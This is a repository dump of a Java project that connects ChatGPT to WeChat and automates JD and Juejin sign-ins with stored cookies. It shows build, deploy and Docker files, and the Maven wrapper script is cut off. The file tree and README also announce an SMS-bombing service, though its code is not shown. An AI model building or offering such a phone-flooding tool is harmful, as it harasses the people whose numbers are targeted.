├── .gitignore
├── Dockerfile
├── LICENSE
├── README.md
├── deploy.sh
├── docker-compose.yml
├── mvnw
├── mvnw.cmd
├── pom.xml
├── src
├── main
│ ├── java
│ │ └── com
│ │ │ └── longbig
│ │ │ └── multifunction
│ │ │ ├── MultiFunctionApplication.java
│ │ │ ├── api
│ │ │ ├── ChatGPTController.java
│ │ │ ├── HealthService.java
│ │ │ ├── JdService.java
│ │ │ ├── SMSBombingService.java
│ │ │ └── YangService.java
│ │ │ ├── config
│ │ │ ├── BaseConfig.java
│ │ │ ├── BaseConstant.java
│ │ │ └── SwaggerConfig.java
│ │ │ ├── dto
│ │ │ └── WechatXmlDTO.java
│ │ │ ├── job
│ │ │ ├── JDBeanJob.java
│ │ │ └── JuejinJob.java
│ │ │ ├── model
│ │ │ ├── chatgpt
│ │ │ │ └── GptMessageDto.java
│ │ │ └── wechat
│ │ │ │ ├── aes
│ │ │ │ ├── AesException.java
│ │ │ │ ├── ByteGroup.java
│ │ │ │ ├── PKCS7Encoder.java
│ │ │ │ ├── SHA1.java
│ │ │ │ ├── WXBizMsgCrypt.java
│ │ │ │ └── XMLParse.java
│ │ │ │ └── kf
│ │ │ │ ├── KefuDataDTO.java
│ │ │ │ ├── KefuDataMsgDTO.java
│ │ │ │ ├── KefuHandleDTO.java
│ │ │ │ ├── KefuNoticeDTO.java
│ │ │ │ ├── KefuSendTextDTO.java
│ │ │ │ ├── KefuTextDTO.java
│ │ │ │ └── TextContentDTO.java
│ │ │ ├── service
│ │ │ ├── ChatGptService.java
│ │ │ └── WeChatService.java
│ │ │ └── utils
│ │ │ ├── CacheHelper.java
│ │ │ ├── FileUtils.java
│ │ │ ├── JsonHelper.java
│ │ │ ├── OkHttpUtils.java
│ │ │ ├── ResourceUtils.java
│ │ │ └── XmlHelper.java
│ └── resources
│ │ ├── application.properties
│ │ ├── banner.txt
│ │ ├── jd_cookie.txt
│ │ └── log4j2.xml
└── test
│ └── java
│ └── com
│ └── longbig
│ └── multifunction
│ └── MultiFunctionApplicationTests.java
└── 微信公众号.png
/.gitignore:
--------------------------------------------------------------------------------
1 | HELP.md
2 | target/
3 | !.mvn/wrapper/maven-wrapper.jar
4 | !**/src/main/**/target/
5 | !**/src/test/**/target/
6 |
7 | ### STS ###
8 | .apt_generated
9 | .classpath
10 | .factorypath
11 | .project
12 | .settings
13 | .springBeans
14 | .sts4-cache
15 |
16 | ### IntelliJ IDEA ###
17 | .idea
18 | *.iws
19 | *.iml
20 | *.ipr
21 |
22 | ### NetBeans ###
23 | /nbproject/private/
24 | /nbbuild/
25 | /dist/
26 | /nbdist/
27 | /.nb-gradle/
28 | build/
29 | !**/src/main/**/build/
30 | !**/src/test/**/build/
31 |
32 | ### VS Code ###
33 | .vscode/
34 | /.idea/
35 | /.idea/
36 |
--------------------------------------------------------------------------------
/Dockerfile:
--------------------------------------------------------------------------------
1 | #使用jdk8作为基础镜像
2 | FROM openjdk:8
3 | #指定作者
4 | MAINTAINER longbig
5 | #暴漏容器的8080端口
6 | EXPOSE 8080
7 | #将复制指定的docker-demo-0.0.1-SNAPSHOT.jar为容器中的job.jar,相当于拷贝到容器中取了个别名
8 | ADD ./target/application.jar /application.jar
9 | #创建一个新的容器并在新的容器中运行命令
10 | #RUN bash -c 'touch /application.jar'
11 | #设置时区
12 | #ENV TZ=PRC
13 | #RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone
14 | #相当于在容器中用cmd命令执行jar包 指定外部配置文件
15 | ENTRYPOINT ["java","-jar","/application.jar"]
16 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Apache License
2 | Version 2.0, January 2004
3 | http://www.apache.org/licenses/
4 |
5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
6 |
7 | 1. Definitions.
8 |
9 | "License" shall mean the terms and conditions for use, reproduction,
10 | and distribution as defined by Sections 1 through 9 of this document.
11 |
12 | "Licensor" shall mean the copyright owner or entity authorized by
13 | the copyright owner that is granting the License.
14 |
15 | "Legal Entity" shall mean the union of the acting entity and all
16 | other entities that control, are controlled by, or are under common
17 | control with that entity. For the purposes of this definition,
18 | "control" means (i) the power, direct or indirect, to cause the
19 | direction or management of such entity, whether by contract or
20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the
21 | outstanding shares, or (iii) beneficial ownership of such entity.
22 |
23 | "You" (or "Your") shall mean an individual or Legal Entity
24 | exercising permissions granted by this License.
25 |
26 | "Source" form shall mean the preferred form for making modifications,
27 | including but not limited to software source code, documentation
28 | source, and configuration files.
29 |
30 | "Object" form shall mean any form resulting from mechanical
31 | transformation or translation of a Source form, including but
32 | not limited to compiled object code, generated documentation,
33 | and conversions to other media types.
34 |
35 | "Work" shall mean the work of authorship, whether in Source or
36 | Object form, made available under the License, as indicated by a
37 | copyright notice that is included in or attached to the work
38 | (an example is provided in the Appendix below).
39 |
40 | "Derivative Works" shall mean any work, whether in Source or Object
41 | form, that is based on (or derived from) the Work and for which the
42 | editorial revisions, annotations, elaborations, or other modifications
43 | represent, as a whole, an original work of authorship. For the purposes
44 | of this License, Derivative Works shall not include works that remain
45 | separable from, or merely link (or bind by name) to the interfaces of,
46 | the Work and Derivative Works thereof.
47 |
48 | "Contribution" shall mean any work of authorship, including
49 | the original version of the Work and any modifications or additions
50 | to that Work or Derivative Works thereof, that is intentionally
51 | submitted to Licensor for inclusion in the Work by the copyright owner
52 | or by an individual or Legal Entity authorized to submit on behalf of
53 | the copyright owner. For the purposes of this definition, "submitted"
54 | means any form of electronic, verbal, or written communication sent
55 | to the Licensor or its representatives, including but not limited to
56 | communication on electronic mailing lists, source code control systems,
57 | and issue tracking systems that are managed by, or on behalf of, the
58 | Licensor for the purpose of discussing and improving the Work, but
59 | excluding communication that is conspicuously marked or otherwise
60 | designated in writing by the copyright owner as "Not a Contribution."
61 |
62 | "Contributor" shall mean Licensor and any individual or Legal Entity
63 | on behalf of whom a Contribution has been received by Licensor and
64 | subsequently incorporated within the Work.
65 |
66 | 2. Grant of Copyright License. Subject to the terms and conditions of
67 | this License, each Contributor hereby grants to You a perpetual,
68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
69 | copyright license to reproduce, prepare Derivative Works of,
70 | publicly display, publicly perform, sublicense, and distribute the
71 | Work and such Derivative Works in Source or Object form.
72 |
73 | 3. Grant of Patent License. Subject to the terms and conditions of
74 | this License, each Contributor hereby grants to You a perpetual,
75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
76 | (except as stated in this section) patent license to make, have made,
77 | use, offer to sell, sell, import, and otherwise transfer the Work,
78 | where such license applies only to those patent claims licensable
79 | by such Contributor that are necessarily infringed by their
80 | Contribution(s) alone or by combination of their Contribution(s)
81 | with the Work to which such Contribution(s) was submitted. If You
82 | institute patent litigation against any entity (including a
83 | cross-claim or counterclaim in a lawsuit) alleging that the Work
84 | or a Contribution incorporated within the Work constitutes direct
85 | or contributory patent infringement, then any patent licenses
86 | granted to You under this License for that Work shall terminate
87 | as of the date such litigation is filed.
88 |
89 | 4. Redistribution. You may reproduce and distribute copies of the
90 | Work or Derivative Works thereof in any medium, with or without
91 | modifications, and in Source or Object form, provided that You
92 | meet the following conditions:
93 |
94 | (a) You must give any other recipients of the Work or
95 | Derivative Works a copy of this License; and
96 |
97 | (b) You must cause any modified files to carry prominent notices
98 | stating that You changed the files; and
99 |
100 | (c) You must retain, in the Source form of any Derivative Works
101 | that You distribute, all copyright, patent, trademark, and
102 | attribution notices from the Source form of the Work,
103 | excluding those notices that do not pertain to any part of
104 | the Derivative Works; and
105 |
106 | (d) If the Work includes a "NOTICE" text file as part of its
107 | distribution, then any Derivative Works that You distribute must
108 | include a readable copy of the attribution notices contained
109 | within such NOTICE file, excluding those notices that do not
110 | pertain to any part of the Derivative Works, in at least one
111 | of the following places: within a NOTICE text file distributed
112 | as part of the Derivative Works; within the Source form or
113 | documentation, if provided along with the Derivative Works; or,
114 | within a display generated by the Derivative Works, if and
115 | wherever such third-party notices normally appear. The contents
116 | of the NOTICE file are for informational purposes only and
117 | do not modify the License. You may add Your own attribution
118 | notices within Derivative Works that You distribute, alongside
119 | or as an addendum to the NOTICE text from the Work, provided
120 | that such additional attribution notices cannot be construed
121 | as modifying the License.
122 |
123 | You may add Your own copyright statement to Your modifications and
124 | may provide additional or different license terms and conditions
125 | for use, reproduction, or distribution of Your modifications, or
126 | for any such Derivative Works as a whole, provided Your use,
127 | reproduction, and distribution of the Work otherwise complies with
128 | the conditions stated in this License.
129 |
130 | 5. Submission of Contributions. Unless You explicitly state otherwise,
131 | any Contribution intentionally submitted for inclusion in the Work
132 | by You to the Licensor shall be under the terms and conditions of
133 | this License, without any additional terms or conditions.
134 | Notwithstanding the above, nothing herein shall supersede or modify
135 | the terms of any separate license agreement you may have executed
136 | with Licensor regarding such Contributions.
137 |
138 | 6. Trademarks. This License does not grant permission to use the trade
139 | names, trademarks, service marks, or product names of the Licensor,
140 | except as required for reasonable and customary use in describing the
141 | origin of the Work and reproducing the content of the NOTICE file.
142 |
143 | 7. Disclaimer of Warranty. Unless required by applicable law or
144 | agreed to in writing, Licensor provides the Work (and each
145 | Contributor provides its Contributions) on an "AS IS" BASIS,
146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
147 | implied, including, without limitation, any warranties or conditions
148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
149 | PARTICULAR PURPOSE. You are solely responsible for determining the
150 | appropriateness of using or redistributing the Work and assume any
151 | risks associated with Your exercise of permissions under this License.
152 |
153 | 8. Limitation of Liability. In no event and under no legal theory,
154 | whether in tort (including negligence), contract, or otherwise,
155 | unless required by applicable law (such as deliberate and grossly
156 | negligent acts) or agreed to in writing, shall any Contributor be
157 | liable to You for damages, including any direct, indirect, special,
158 | incidental, or consequential damages of any character arising as a
159 | result of this License or out of the use or inability to use the
160 | Work (including but not limited to damages for loss of goodwill,
161 | work stoppage, computer failure or malfunction, or any and all
162 | other commercial damages or losses), even if such Contributor
163 | has been advised of the possibility of such damages.
164 |
165 | 9. Accepting Warranty or Additional Liability. While redistributing
166 | the Work or Derivative Works thereof, You may choose to offer,
167 | and charge a fee for, acceptance of support, warranty, indemnity,
168 | or other liability obligations and/or rights consistent with this
169 | License. However, in accepting such obligations, You may act only
170 | on Your own behalf and on Your sole responsibility, not on behalf
171 | of any other Contributor, and only if You agree to indemnify,
172 | defend, and hold each Contributor harmless for any liability
173 | incurred by, or claims asserted against, such Contributor by reason
174 | of your accepting any such warranty or additional liability.
175 |
176 | END OF TERMS AND CONDITIONS
177 |
178 | APPENDIX: How to apply the Apache License to your work.
179 |
180 | To apply the Apache License to your work, attach the following
181 | boilerplate notice, with the fields enclosed by brackets "[]"
182 | replaced with your own identifying information. (Don't include
183 | the brackets!) The text should be enclosed in the appropriate
184 | comment syntax for the file format. We also recommend that a
185 | file or class name and description of purpose be included on the
186 | same "printed page" as the copyright notice for easier
187 | identification within third-party archives.
188 |
189 | Copyright [yyyy] [name of copyright owner]
190 |
191 | Licensed under the Apache License, Version 2.0 (the "License");
192 | you may not use this file except in compliance with the License.
193 | You may obtain a copy of the License at
194 |
195 | http://www.apache.org/licenses/LICENSE-2.0
196 |
197 | Unless required by applicable law or agreed to in writing, software
198 | distributed under the License is distributed on an "AS IS" BASIS,
199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200 | See the License for the specific language governing permissions and
201 | limitations under the License.
202 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # multi_function_github
2 | 运行环境:Java8,maven
3 |
4 | - ChatGPT接入企业微信成为聊天机器人
5 | - 微信客服接入ChatGPT
6 | - 有脚本运行问题可公众号内询问
7 |
8 | 
9 |
10 | ## 脚本使用
11 | ### 微信客服接入ChatGPT,外部群可用
12 | - 可在企业微信外部群使用,非企业人员也能用,只支持私聊
13 | - 使用教程:[【奶奶看了也不会】微信群聊(微信客服)接入ChatGPT教程](https://longbig.github.io/2023/06/05/%E5%BE%AE%E4%BF%A1%E5%AE%A2%E6%9C%8D%E6%8E%A5%E5%85%A5ChatGPT%E6%95%99%E7%A8%8B-%E5%A4%96%E9%83%A8%E7%BE%A4%E8%81%8A%E5%8F%AF%E7%94%A8/)
14 |
15 |
16 | ### ChatGPT 3.5 / 4接入企业微信
17 | - 修改application.properties文件的chatgpt开头 和wechat开头的配置,配置内容看注释
18 | - 默认访问超时时间是30s,如需修改,可自行修改`OkHttpUtils`中`DEFAULT_TIME_OUT`的值
19 | - 使用教程:[ChatGPT3.5接入企业微信且支持连续对话](https://longbig.github.io/2023/03/05/ChatGPT3-5%E6%8E%A5%E5%85%A5%E4%BC%81%E4%B8%9A%E5%BE%AE%E4%BF%A1%E4%B8%94%E6%94%AF%E6%8C%81%E8%BF%9E%E7%BB%AD%E5%AF%B9%E8%AF%9D/)
20 | - 发送`开始连续对话`进入连续对话模式,注意连续对话模式下,chatGPT账号额度消耗是累加(每次发消息,会累加这次和过去所有对话的额度消耗)
21 | - 发送`结束连续对话`关闭连续对话模式
22 | - 发送`开始GPT4`使用GPT4模型,发送`结束GPT4`关闭GPT4模型
23 |
24 | - 可修改application.properties文件里的`chatgpt.flow.num`配置,自行修改最大对话次数(不建议太大,官方限制的消息最大长度是4096 token,大概20次对话之后就会超了)
25 |
26 | ### 其他脚本使用
27 | - 京东脚本:多个账号使用时,修改resources目录下的jd_cookie.txt文件,每行为pt_key,pt_pin的格式
28 | - 掘金脚本:修改application.properties文件的juejin.Cookie为你的掘金cookie
29 |
30 | - 运行MultiFunctionApplication类下的main函数启动项目
31 | - 项目启动后,浏览器打开http://localhost:8080/doc.html#/default/jd-service/getJDUsingGET 可调试签到任务,入参和任务关系为:
32 | - 1 : 京东每日签到任务
33 | - 2 : 摇京豆签到
34 | - 3 : 抽京豆
35 | - 4 : plus会员签到
36 | - 5 : 掘金每日签到
37 | - 6 : 掘金每日抽奖
38 |
39 |
40 | ### Docker打包方式
41 | - 在自己电脑或者服务器上建个jd_cookie.txt文件,里面放多个账号的cookie值,格式为pt_key,pt_pin
42 | - 修改docker-compose.yml文件下的volumes变量值,替换为上一步txt文件的绝对路径,Mac电脑示例:/home/admin/opt:/opt
43 | - 运行`maven package`将代码构建为jar文件
44 | - 运行`docker build -t jdou:v1.1 ./`将jar包构建为docker镜像,名称为jdou:v1.1,放在当前路径下
45 | - 运行`docker-compose up`运行上一步构建的镜像即可
46 |
47 | ## 更新
48 | - 2023.06.04 增加,微信客服对接ChatGPT的功能,支持企业外部微信群使用
49 | - 2023.05.06 更新,加上GPT4模型对话,修复ChatGPT消息长度过长,被微信截断的bug
50 | - 2023.03.05 更新,使用GPT3.5接入企业微信,且新增连续对话功能
51 | - 2023.02.27 修复ChatGPT接入企业微信未设置超时时间的bug
52 | - 2023.02.22 修复ChatGPT接入企业微信agentId的bug
53 | - 2023.02.18 增加ChatGPT接入企业微信,成为聊天机器人代码
54 | - 2022.10.15 增加短信轰炸示例代码
55 | - 2022.09.18 增加`羊了个羊`微信小程序通关调用
56 | - 2022.09.10 修改任务脚本,支持多个账号的签到
57 | - 2022.09.04 增加掘金自动签到任务和抽奖任务
58 | - 2022.05.15 增加Dockerfile、docker-compose文件,用于docker构建镜像和运行镜像
59 | - 2022.05.01 新增自动签到定时任务:摇京豆签到、抽京豆任务、plus会员签到。接口文档可视化界面
60 | - 2022.04.27 新增服务探活接口和部署脚本deploy.sh,可用于阿里云云效自动化部署 具体部署步骤见博客:[2分钟教你部署2048小游戏到云服务器](https://blog.csdn.net/qq_36624086/article/details/123777993)
--------------------------------------------------------------------------------
/deploy.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # 修改APP_NAME为云效上的应用名
4 | APP_NAME=application
5 |
6 |
7 | PROG_NAME=$0
8 | ACTION=$1
9 | APP_START_TIMEOUT=20 # 等待应用启动的时间
10 | APP_PORT=8080 # 应用端口
11 | HEALTH_CHECK_URL=http://127.0.0.1:${APP_PORT}/checkHealth # 应用健康检查URL
12 | APP_HOME=/home/admin/${APP_NAME} # 从package.tgz中解压出来的jar包放到这个目录下
13 | JAR_NAME=${APP_HOME}/target/${APP_NAME}.jar # jar包的名字
14 | JAVA_OUT=${APP_HOME}/logs/start.log #应用的启动日志
15 |
16 | # 创建出相关目录
17 | mkdir -p ${APP_HOME}
18 | mkdir -p ${APP_HOME}/logs
19 | usage() {
20 | echo "Usage: $PROG_NAME {start|stop|restart}"
21 | exit 2
22 | }
23 |
24 | health_check() {
25 | exptime=0
26 | echo "checking ${HEALTH_CHECK_URL}"
27 | while true
28 | do
29 | status_code=`/usr/bin/curl -L -o /dev/null --connect-timeout 5 -s -w %{http_code} ${HEALTH_CHECK_URL}`
30 | if [ "$?" != "0" ]; then
31 | echo -n -e "\rapplication not started"
32 | else
33 | echo "code is $status_code"
34 | if [ "$status_code" == "200" ];then
35 | break
36 | fi
37 | fi
38 | sleep 1
39 | ((exptime++))
40 |
41 | echo -e "\rWait app to pass health check: $exptime..."
42 |
43 | if [ $exptime -gt ${APP_START_TIMEOUT} ]; then
44 | echo 'app start failed'
45 | exit 1
46 | fi
47 | done
48 | echo "check ${HEALTH_CHECK_URL} success"
49 | }
50 | start_application() {
51 | echo "starting java process"
52 | nohup java -jar ${JAR_NAME} > ${JAVA_OUT} 2>&1 &
53 | echo "started java process"
54 | }
55 |
56 | stop_application() {
57 | checkjavapid=`ps -ef | grep java | grep ${APP_NAME} | grep -v grep |grep -v 'deploy.sh'| awk '{print$2}'`
58 |
59 | if [[ ! $checkjavapid ]];then
60 | echo -e "\rno java process"
61 | return
62 | fi
63 |
64 | echo "stop java process"
65 | times=60
66 | for e in $(seq 60)
67 | do
68 | sleep 1
69 | COSTTIME=$(($times - $e ))
70 | checkjavapid=`ps -ef | grep java | grep ${APP_NAME} | grep -v grep |grep -v 'deploy.sh'| awk '{print$2}'`
71 | if [[ $checkjavapid ]];then
72 | kill -9 $checkjavapid
73 | echo -e "\r -- stopping java lasts `expr $COSTTIME` seconds."
74 | else
75 | echo -e "\rjava process has exited"
76 | break;
77 | fi
78 | done
79 | echo ""
80 | }
81 | start() {
82 | start_application
83 | health_check
84 | }
85 | stop() {
86 | stop_application
87 | }
88 | case "$ACTION" in
89 | start)
90 | start
91 | ;;
92 | stop)
93 | stop
94 | ;;
95 | restart)
96 | stop
97 | start
98 | ;;
99 | *)
100 | usage
101 | ;;
102 | esac
--------------------------------------------------------------------------------
/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | jdou:
4 | image: jdou:v1.1
5 | container_name: jdou
6 | ports:
7 | - 8080:8080
8 | environment:
9 | START_FROM_DOCKER: 1
10 | FILE_PATH: /opt/jd_cookie.txt
11 | volumes:
12 | - /Users/longbig/opt:/opt #替换格式说明,宿主机文件目录:docker内路径 映射关系
13 |
14 | # PT_PIN: '你的pt_pin'
15 | # PT_KEY: '你的pt_key'
16 |
--------------------------------------------------------------------------------
/mvnw:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | # ----------------------------------------------------------------------------
3 | # Licensed to the Apache Software Foundation (ASF) under one
4 | # or more contributor license agreements. See the NOTICE file
5 | # distributed with this work for additional information
6 | # regarding copyright ownership. The ASF licenses this file
7 | # to you under the Apache License, Version 2.0 (the
8 | # "License"); you may not use this file except in compliance
9 | # with the License. You may obtain a copy of the License at
10 | #
11 | # https://www.apache.org/licenses/LICENSE-2.0
12 | #
13 | # Unless required by applicable law or agreed to in writing,
14 | # software distributed under the License is distributed on an
15 | # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
16 | # KIND, either express or implied. See the License for the
17 | # specific language governing permissions and limitations
18 | # under the License.
19 | # ----------------------------------------------------------------------------
20 |
21 | # ----------------------------------------------------------------------------
22 | # Maven Start Up Batch script
23 | #
24 | # Required ENV vars:
25 | # ------------------
26 | # JAVA_HOME - location of a JDK home dir
27 | #
28 | # Optional ENV vars
29 | # -----------------
30 | # M2_HOME - location of maven2's installed home dir
31 | # MAVEN_OPTS - parameters passed to the Java VM when running Maven
32 | # e.g. to debug Maven itself, use
33 | # set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000
34 | # MAVEN_SKIP_RC - flag to disable loading of mavenrc files
35 | # ----------------------------------------------------------------------------
36 |
37 | if [ -z "$MAVEN_SKIP_RC" ] ; then
38 |
39 | if [ -f /etc/mavenrc ] ; then
40 | . /etc/mavenrc
41 | fi
42 |
43 | if [ -f "$HOME/.mavenrc" ] ; then
44 | . "$HOME/.mavenrc"
45 | fi
46 |
47 | fi
48 |
49 | # OS specific support. $var _must_ be set to either true or false.
50 | cygwin=false;
51 | darwin=false;
52 | mingw=false
53 | case "`uname`" in
54 | CYGWIN*) cygwin=true ;;
55 | MINGW*) mingw=true;;
56 | Darwin*) darwin=true
57 | # Use /usr/libexec/java_home if available, otherwise fall back to /Library/Java/Home
58 | # See https://developer.apple.com/library/mac/qa/qa1170/_index.html
59 | if [ -z "$JAVA_HOME" ]; then
60 | if [ -x "/usr/libexec/java_home" ]; then
61 | export JAVA_HOME="`/usr/libexec/java_home`"
62 | else
63 | export JAVA_HOME="/Library/Java/Home"
64 | fi
65 | fi
66 | ;;
67 | esac
68 |
69 | if [ -z "$JAVA_HOME" ] ; then
70 | if [ -r /etc/gentoo-release ] ; then
71 | JAVA_HOME=`java-config --jre-home`
72 | fi
73 | fi
74 |
75 | if [ -z "$M2_HOME" ] ; then
76 | ## resolve links - $0 may be a link to maven's home
77 | PRG="$0"
78 |
79 | # need this for relative symlinks
80 | while [ -h "$PRG" ] ; do
81 | ls=`ls -ld "$PRG"`
82 | link=`expr "$ls" : '.*-> \(.*\)$'`
83 | if expr "$link" : '/.*' > /dev/null; then
84 | PRG="$link"
85 | else
86 | PRG="`dirname "$PRG"`/$link"
87 | fi
88 | done
89 |
90 | saveddir=`pwd`
91 |
92 | M2_HOME=`dirname "$PRG"`/..
93 |
94 | # make it fully qualified
95 | M2_HOME=`cd "$M2_HOME" && pwd`
96 |
97 | cd "$saveddir"
98 | # echo Using m2 at $M2_HOME
99 | fi
100 |
101 | # For Cygwin, ensure paths are in UNIX format before anything is touched
102 | if $cygwin ; then
103 | [ -n "$M2_HOME" ] &&
104 | M2_HOME=`cygpath --unix "$M2_HOME"`
105 | [ -n "$JAVA_HOME" ] &&
106 | JAVA_HOME=`cygpath --unix "$JAVA_HOME"`
107 | [ -n "$CLASSPATH" ] &&
108 | CLASSPATH=`cygpath --path --unix "$CLASSPATH"`
109 | fi
110 |
111 | # For Mingw, ensure paths are in UNIX format before anything is touched
112 | if $mingw ; then
113 | [ -n "$M2_HOME" ] &&
114 | M2_HOME="`(cd "$M2_HOME"; pwd)`"
115 | [ -n "$JAVA_HOME" ] &&
116 | JAVA_HOME="`(cd "$JAVA_HOME"; pwd)`"
117 | fi
118 |
119 | if [ -z "$JAVA_HOME" ]; then
120 | javaExecutable="`which javac`"
121 | if [ -n "$javaExecutable" ] && ! [ "`expr \"$javaExecutable\" : '\([^ ]*\)'`" = "no" ]; then
122 | # readlink(1) is not available as standard on Solaris 10.
123 | readLink=`which readlink`
124 | if [ ! `expr "$readLink" : '\([^ ]*\)'` = "no" ]; then
125 | if $darwin ; then
126 | javaHome="`dirname \"$javaExecutable\"`"
127 | javaExecutable="`cd \"$javaHome\" && pwd -P`/javac"
128 | else
129 | javaExecutable="`readlink -f \"$javaExecutable\"`"
130 | fi
131 | javaHome="`dirname \"$javaExecutable\"`"
132 | javaHome=`expr "$javaHome" : '\(.*\)/bin'`
133 | JAVA_HOME="$javaHome"
134 | export JAVA_HOME
135 | fi
136 | fi
137 | fi
138 |
139 | if [ -z "$JAVACMD" ] ; then
140 | if [ -n "$JAVA_HOME" ] ; then
141 | if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
142 | # IBM's JDK on AIX uses strange locations for the executables
143 | JAVACMD="$JAVA_HOME/jre/sh/java"
144 | else
145 | JAVACMD="$JAVA_HOME/bin/java"
146 | fi
147 | else
148 | JAVACMD="`which java`"
149 | fi
150 | fi
151 |
152 | if [ ! -x "$JAVACMD" ] ; then
153 | echo "Error: JAVA_HOME is not defined correctly." >&2
154 | echo " We cannot execute $JAVACMD" >&2
155 | exit 1
156 | fi
157 |
158 | if [ -z "$JAVA_HOME" ] ; then
159 | echo "Warning: JAVA_HOME environment variable is not set."
160 | fi
161 |
162 | CLASSWORLDS_LAUNCHER=org.codehaus.plexus.classworlds.launcher.Launcher
163 |
164 | # traverses directory structure from process work directory to filesystem root
165 | # first directory with .mvn subdirectory is considered project base directory
166 | find_maven_basedir() {
167 |
168 | if [ -z "$1" ]
169 | then
170 | echo "Path not specified to find_maven_basedir"
171 | return 1
172 | fi
173 |
174 | basedir="$1"
175 | wdir="$1"
176 | while [ "$wdir" != '/' ] ; do
177 | if [ -d "$wdir"/.mvn ] ; then
178 | basedir=$wdir
179 | break
180 | fi
181 | # workaround for JBEAP-8937 (on Solaris 10/Sparc)
182 | if [ -d "${wdir}" ]; then
183 | wdir=`cd "$wdir/.."; pwd`
184 | fi
185 | # end of workaround
186 | done
187 | echo "${basedir}"
188 | }
189 |
190 | # concatenates all lines of a file
191 | concat_lines() {
192 | if [ -f "$1" ]; then
193 | echo "$(tr -s '\n' ' ' < "$1")"
194 | fi
195 | }
196 |
197 | BASE_DIR=`find_maven_basedir "$(pwd)"`
198 | if [ -z "$BASE_DIR" ]; then
199 | exit 1;
200 | fi
201 |
202 | ##########################################################################################
203 | # Extension to allow automatically downloading the maven-wrapper.jar from Maven-central
204 | # This allows using the maven wrapper in projects that prohibit checking in binary data.
205 | ##########################################################################################
206 | if [ -r "$BASE_DIR/.mvn/wrapper/maven-wrapper.jar" ]; then
207 | if [ "$MVNW_VERBOSE" = true ]; then
208 | echo "Found .mvn/wrapper/maven-wrapper.jar"
209 | fi
210 | else
211 | if [ "$MVNW_VERBOSE" = true ]; then
212 | echo "Couldn't find .mvn/wrapper/maven-wrapper.jar, downloading it ..."
213 | fi
214 | if [ -n "$MVNW_REPOURL" ]; then
215 | jarUrl="$MVNW_REPOURL/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar"
216 | else
217 | jarUrl="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar"
218 | fi
219 | while IFS="=" read key value; do
220 | case "$key" in (wrapperUrl) jarUrl="$value"; break ;;
221 | esac
222 | done < "$BASE_DIR/.mvn/wrapper/maven-wrapper.properties"
223 | if [ "$MVNW_VERBOSE" = true ]; then
224 | echo "Downloading from: $jarUrl"
225 | fi
226 | wrapperJarPath="$BASE_DIR/.mvn/wrapper/maven-wrapper.jar"
227 | if $cygwin; then
228 | wrapperJarPath=`cygpath --path --windows "$wrapperJarPath"`
229 | fi
230 |
231 | if command -v wget > /dev/null; then
232 | if [ "$MVNW_VERBOSE" = true ]; then
233 | echo "Found wget ... using wget"
234 | fi
235 | if [ -z "$MVNW_USERNAME" ] || [ -z "$MVNW_PASSWORD" ]; then
236 | wget "$jarUrl" -O "$wrapperJarPath"
237 | else
238 | wget --http-user=$MVNW_USERNAME --http-password=$MVNW_PASSWORD "$jarUrl" -O "$wrapperJarPath"
239 | fi
240 | elif command -v curl > /dev/null; then
241 | if [ "$MVNW_VERBOSE" = true ]; then
242 | echo "Found curl ... using curl"
243 | fi
244 | if [ -z "$MVNW_USERNAME" ] || [ -z "$MVNW_PASSWORD" ]; then
245 | curl -o "$wrapperJarPath" "$jarUrl" -f
246 | else
247 | curl --user $MVNW_USERNAME:$MVNW_PASSWORD -o "$wrapperJarPath" "$jarUrl" -f
248 | fi
249 |
250 | else
251 | if [ "$MVNW_VERBOSE" = true ]; then
252 | echo "Falling back to using Java to download"
253 | fi
254 | javaClass="$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.java"
255 | # For Cygwin, switch paths to Windows format before running javac
256 | if $cygwin; then
257 | javaClass=`cygpath --path --windows "$javaClass"`
258 | fi
259 | if [ -e "$javaClass" ]; then
260 | if [ ! -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then
261 | if [ "$MVNW_VERBOSE" = true ]; then
262 | echo " - Compiling MavenWrapperDownloader.java ..."
263 | fi
264 | # Compiling the Java class
265 | ("$JAVA_HOME/bin/javac" "$javaClass")
266 | fi
267 | if [ -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then
268 | # Running the downloader
269 | if [ "$MVNW_VERBOSE" = true ]; then
270 | echo " - Running MavenWrapperDownloader.java ..."
271 | fi
272 | ("$JAVA_HOME/bin/java" -cp .mvn/wrapper MavenWrapperDownloader "$MAVEN_PROJECTBASEDIR")
273 | fi
274 | fi
275 | fi
276 | fi
277 | ##########################################################################################
278 | # End of extension
279 | ##########################################################################################
280 |
281 | export MAVEN_PROJECTBASEDIR=${MAVEN_BASEDIR:-"$BASE_DIR"}
282 | if [ "$MVNW_VERBOSE" = true ]; then
283 | echo $MAVEN_PROJECTBASEDIR
284 | fi
285 | MAVEN_OPTS="$(concat_lines "$MAVEN_PROJECTBASEDIR/.mvn/jvm.config") $MAVEN_OPTS"
286 |
287 | # For Cygwin, switch paths to Windows format before running java
288 | if $cygwin; then
289 | [ -n "$M2_HOME" ] &&
290 | M2_HOME=`cygpath --path --windows "$M2_HOME"`
291 | [ -n "$JAVA_HOME" ] &&
292 | JAVA_HOME=`cygpath --path --windows "$JAVA_HOME"`
293 | [ -n "$CLASSPATH" ] &&
294 | CLASSPATH=`cygpath --path --windows "$CLASSPATH"`
